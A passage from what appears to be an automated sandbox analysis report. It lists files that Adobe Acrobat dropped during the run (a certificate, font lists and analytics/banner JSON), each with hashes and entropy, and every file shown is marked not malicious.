Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklTJW8DtfllXlE/HT8ko+z1NNX8RolJuRdxLlGB9lQRYwpDdt:kKl8DeT8I3NMa8RdWBwRd
MD5:	20C8B09DA583F323EBAE20A620FF07CB
SHA1:	039C9644FDB6E6C76B16676A33A92D380D72A4E8
SHA-256:	9EBD662D3A70D87F5C7A9A733C1EF97D0E617334C63E78C573F468B6FBCCD2AB
SHA-512:	509107E5849D000B16BBE578C3A25A7A5BF53BC7B167ADCD4A76C1283F8ACDEAB2E6A4C806543019F155CEDA3FA3F9710EBF5F0B0776DC6D5F4330A565DA837D
Malicious:	false
Preview:	p...... .........l3.gc..(....................................................... ..........W.....@..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.379243833024689
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJM3g98kUwPeUkwRe9:YvXKXVEZc0vkGMbLUkee9
MD5:	068F6285F7E0E822106E0810E9085ECD
SHA1:	1747CB65981433E594C9113B586321A61C39E98E
SHA-256:	C69779AEF61646B82B6E629E9304CD12F54E1087476E7D331E17C0935CBE6CA2
SHA-512:	90991C02EFBA88B7FD1715C6288A6FC1B631948C1AA7D68E5121C0C46BA05B226244A7EEBE9A0ED3BE41347F7A1537F3F58947B2D322D5FDE303C1266F56E62E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.331106280643249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfBoTfXpnrPeUkwRe9:YvXKXVEZc0vkGWTfXcUkee9
MD5:	1FB277BA56510422D642FDE603285F0D
SHA1:	2FF5B4186AF757448FEAE09D4F97DF3EB4F218E1
SHA-256:	877F92751B00928CC297C9251A8FE88838FC7A50BD38505D4B7DC7CEFA74AFEA
SHA-512:	6527EB912DF25CA188750C651AF49D516352B44B5823A5AC478EB2E5FDDF363681B5F7A8680C1B3EEDF2836B77F2836071EEBFB968AEA32BDC1BF6BF41B56507
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30950559951168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfBD2G6UpnrPeUkwRe9:YvXKXVEZc0vkGR22cUkee9
MD5:	9B668E5D1870719438754F664698C0DA
SHA1:	8A15177DEBEF533382A92B83E93D224F7D183769
SHA-256:	09D9756DAC86C9A631F3FC2AD751F6A03B84EFCAF3EEEA3BD5C7C2FB358340F5
SHA-512:	A80502DC85083A211EADC290E25C3B8568F4A1DCA7D2F2246B1F7EA94F3473BFCB60E46009E17EACAE52277C43D2E2465510677B5719DB78A3A209C4FD57D204
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.366811547876253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfPmwrPeUkwRe9:YvXKXVEZc0vkGH56Ukee9
MD5:	5B111EC5EBEE86D6BE8CB413ED6F3193
SHA1:	31F4E36A0CDCA8DE6F80D628727601E6D4E98B0D
SHA-256:	34B54DBD4BF7D542B0368AF675A5393A0E2F604892AF4F868CA99F187E729EBC
SHA-512:	FABBF949A9AD41E8E70F13830C7EE7E4D2EA6DA0006DD4CE2BB0EFD36AB39B5B546F07CBA75FC4112C8B376CEA81B75AE978AB2634D3177169AB47FED7DD4FDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688220681457222
Encrypted:	false
SSDEEP:	24:Yv6X2zvhpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvB5hgy6SAFv5Ah8cv/W
MD5:	8A13FF1EBAB16D5267CB40F507B6BF20
SHA1:	B234DF62E2E04B6084DC13F7822DB5D4C628F98F
SHA-256:	69CBF7EA1F55009F9769371D010C1E571D979F88E6F605B637A5B6A0E10A9352
SHA-512:	F58134FFF37E5BD3AE3C73CD5ED53CB289A31998581B884FFFAEDE7F4B4E1D41E762B72876937CF6AEF9DBDFD5CAD92C700E3538227C83B18B82085AD4398403
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314907886376827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJf8dPeUkwRe9:YvXKXVEZc0vkGU8Ukee9
MD5:	1738B21420ADC726BAE56442B3F6ECCA
SHA1:	9CA2968B29162E77330E523AA6E49E5CA6B43B4F
SHA-256:	4B6CC7AC0E5621A7946012F3C9C96703197BE9B388CE291BAFD58B8A33B3F0E8
SHA-512:	8392EEA41FCA8F09D4A015690AB1412294CD4FAF71A2E0E66E6C851F07EF94E4BB98C6EBD30B8523B715753CA9F644DB17DED69D5946F69DE384F06212452687
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.319255155561789
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfQ1rPeUkwRe9:YvXKXVEZc0vkGY16Ukee9
MD5:	C5A4D4CF6F9FED9AB6A84F3932515923
SHA1:	E2EB4CAC97C921567C3A9BFFC75A4290C05A447E
SHA-256:	CB3D9945D223B64BA2234463C6D2D12450F83FCFB0C614FB1B89D790B78BEEFB
SHA-512:	A348223331AEACFAB56F4803661EB6A12B35827026F79904A491FA9591C3F6C268612B3D65961DD61174229B96E03334773C8EA3E67EEDAEDCB9588DD0CC457A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323710932647926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfFldPeUkwRe9:YvXKXVEZc0vkGz8Ukee9
MD5:	9C085D995475FF2C325419EDC1C0BC68
SHA1:	EAE204442D6F0A558E5FFA19A6ACE0C9DAFC09A5
SHA-256:	6FA26FA212FF1465F3247CB4C7714AC668957C98B0CA6389658E6866375072E5
SHA-512:	9CCB1017C0648518B284748D9C696793AF93829EF874A6C7C8DE49561671073BFC7EC8A4F6EB9413B7F2E068FB9B7523AA38CFBE3D68D4A317518E2E98EB919E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340227646569344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfzdPeUkwRe9:YvXKXVEZc0vkGb8Ukee9
MD5:	18FC9DADED87C0910CE0CDEF0075350B
SHA1:	B2C9D318C915F6349B78B0F073BB86542B1C57F2
SHA-256:	F54EB9D9823CCDE573C24C48BA67ACA5BA7012A0F764679B411127002FFD94C9
SHA-512:	7050EDDDE72FE77314C1D0A468F24025C10ABA08DD46E69A71EBB588C9066238F7949EFA3AB77506DB4ECC23F3C1FE9CCB376BD1B4F9D8B35DC66AEB5C1A0946
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.321304552505333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfYdPeUkwRe9:YvXKXVEZc0vkGg8Ukee9
MD5:	A21FFD0C8716CE41FF89FE1AB87BA3CA
SHA1:	74CB9976486493F303F9EC239F822B8204F8AE65
SHA-256:	491C2507CF8B8911B1F9F25CF1A5624CC5B87C38DED680B17A2AC919084B53F8
SHA-512:	328734C0693806B3616DEAF7DBC749FCC82BBC76413007032C8F9E6B164146CF32F9EEB8A96EDFEAB71FB8EB4C016D35724DD5352BDE88CBC3C5461F9FC61490
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.307412303944907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJf+dPeUkwRe9:YvXKXVEZc0vkG28Ukee9
MD5:	48A056E47709CBEA6997F24F632EC32E
SHA1:	8BE0E9EE0A4CA4C8639B32DED4ACB583BC794881
SHA-256:	EF3A92C924268D7FA430845834002CC30810E6C2DE0DAC4DA3908D5C88B11855
SHA-512:	4ADD9EFCAB11EE97DA8B620D80ECE4F4E5FD081764677906E44EE30EC87EBE733631A2FFE13EA742D58EC279A971B992BEB829E07C6C1A26BC45C04D931A04B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.304705227137922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfbPtdPeUkwRe9:YvXKXVEZc0vkGDV8Ukee9
MD5:	59B78BD992CAAFBD5DD862BD424653FF
SHA1:	DAAEA39AB1F5812BB6BA02A34288E87D7697B89E
SHA-256:	A6F7E0F2F80EB948E4E2B195B59F339066E30838B7202D093513F65A8069E90A
SHA-512:	F797D7D386506E136BA9CEA951AB7862E42E8669C98D566B1FAB1A2682465296489DA0742C9E85EE1D378658B39DD7BCADDBBD3FA08F7A0D4180E73E02BE34CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.309651566595945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJf21rPeUkwRe9:YvXKXVEZc0vkG+16Ukee9
MD5:	AD05DE81766C03B25575616165D0B8A9
SHA1:	8BB6FCFCF2A221330B660997501AC5B3679C7B59
SHA-256:	AAFF4B0E59E31745135EF06A49E4654B858AFD732A3472A575A927BB3BCA27EC
SHA-512:	48F250A8411F2E26DFA14332EF1CF57768F893B7113E824B8B6453FD880913220B1319D38E8994E2AEC9800A439988C2276E25AB22DFD108DD01B1C2673097BF
Malicious:	false
